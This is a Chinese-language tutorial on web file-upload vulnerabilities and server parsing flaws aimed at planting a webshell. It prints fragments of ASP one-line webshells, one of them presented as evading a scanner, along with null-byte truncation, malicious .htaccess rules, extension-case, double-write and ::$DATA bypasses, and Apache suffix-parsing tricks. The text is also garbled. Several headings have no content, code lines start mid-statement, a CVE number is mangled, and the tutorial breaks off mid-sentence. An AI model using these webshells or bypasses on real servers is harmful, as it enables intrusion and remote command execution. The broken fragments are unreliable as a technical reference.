文件上传漏洞、解析漏洞总结
1.文件上传漏洞是什么
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,需要说明的是上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。
文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。完成这一攻击需要这样几个条件,一是上传的文件能够这 WEB 容器执行,其次用户能从 WEB 上访问这个文件,最后,如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败。
解析漏洞是什么?
解析漏洞是指服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。
1.1常见的一句话木马
asp一句话木马:
php一句话木马:
aspx一句话木马:
其他一句话木马:
"" Then Execute(Request("value"))%>
""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>
可以躲过雷客图的一句话木马:
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""value""))")
%>
不用''的asp一句话木马:
不用双引号的一句话木马:
1.2解读php一句话木马
1.3获得webshell常用工具
2常见校验上传文件的方法
2.1客户端校验(前端校验)
1.通过JavaScript来校验上传文件的后缀名是否合法,可以采用白名单,也可以采用黑名的方式
2.判断方法:在点击上传按钮的时候弹出对话框如下图所示,而此时并没有发送数据包
2.2服务端检验-白名单
2.2.1检查http请求头content-type字段,MIME文件类型
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
2.2.2%00截断-get用法
%00截断的使用条件:
php版本必须小于5.3.4
并且php.ini中的magic_quotes_gpc设置为Off
原理是:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制
/imbrave.php%00.jpg => /imbrave.php
.jpg就会被解析为.php从而getwebshell
2.2.3%00截断-post用法
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
为什么修改path才可以?
因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名。
那么,攻击者修改了path以后的拼接结果为:uploads/aaa.php%00/0818.php
移动文件的时候会将文件保存为:uploads/aaa.php
从而getwebshell
+的URL编码的16进制 为2b,将2b改为00即可
2.3服务端检验-黑名单
2.3.1上传特殊后缀可解析的
一些特殊后缀
php:php3、php4、php5、php7、phtml
jsp:jspx、jspf
asp:asa、cer
apache里有个一个配置文件httpd.conf他可以允许一些特殊后缀名上传,最终都会被解析成php执行如:
AddType application/x-httpd-php .php .phtml.php3.php4.php7 等等
2.3.2上传.htaccess文件
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设
置。 概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:
网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
根据以上内容,假如我们自定义一个规则,并让服务器运行我们定义的规则,便可绕过上传限制
hatccess写法一
AddType application/x-httpd-php .后缀名
创建相同后缀名的一句话木马,作用就是会让这个后缀名变成php代码执行
hatccess写法二
# FileMatch 参数即为文件名的正则匹配
SetHandler application/x-httpd-php
2.3.3大小写饶过
strtolower()如果没用存在这个函数就如使用大小饶过如:
imbrave.PHP .Php .PHp 等等
2.3.4双写饶过
str_ireplace(find,replace,string,count)
find必需。规定要查找的值。
replace必需。规定替换 find 中的值的值。
string必需。规定被搜索的字符串。
count可选。一个变量,对替换数进行计数。
str_ireplace(php,"",pphphp)通常出现这个函数往往只会替换一次
pphphp 这样就会进行双写饶过 p php hp =》 中的php被替换 剩下p hp =》php
2.3.5点号饶过,空格饶过和::$DATA饶过
.
windows有一个特性,会自动去掉后缀名最后的‘.’
或者是不存在deldot($file_name);//删除文件名末尾的点
空格
windows有一个特性,会自动去掉后缀名最后的空格
或者是不存在trim($file_name);//删除文件空格
::$DATA
操作系统必须windows且是php,中间件都可以
php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名
3.解析漏洞
3.1apache服务器
3.1.1apache服务器-多后缀解析漏洞
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
如1.php.abc,因apache不识别.abc后缀,所以向前解析php
1.php.abc => 1.php
test.php.owf.rar解析成test.php
3.1.2apache服务器-CVE--15715
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
如:
1.php\x0a => 1.php
复现漏洞,这边在dockerhub拉了一个镜像,代码比较简单过滤一些后缀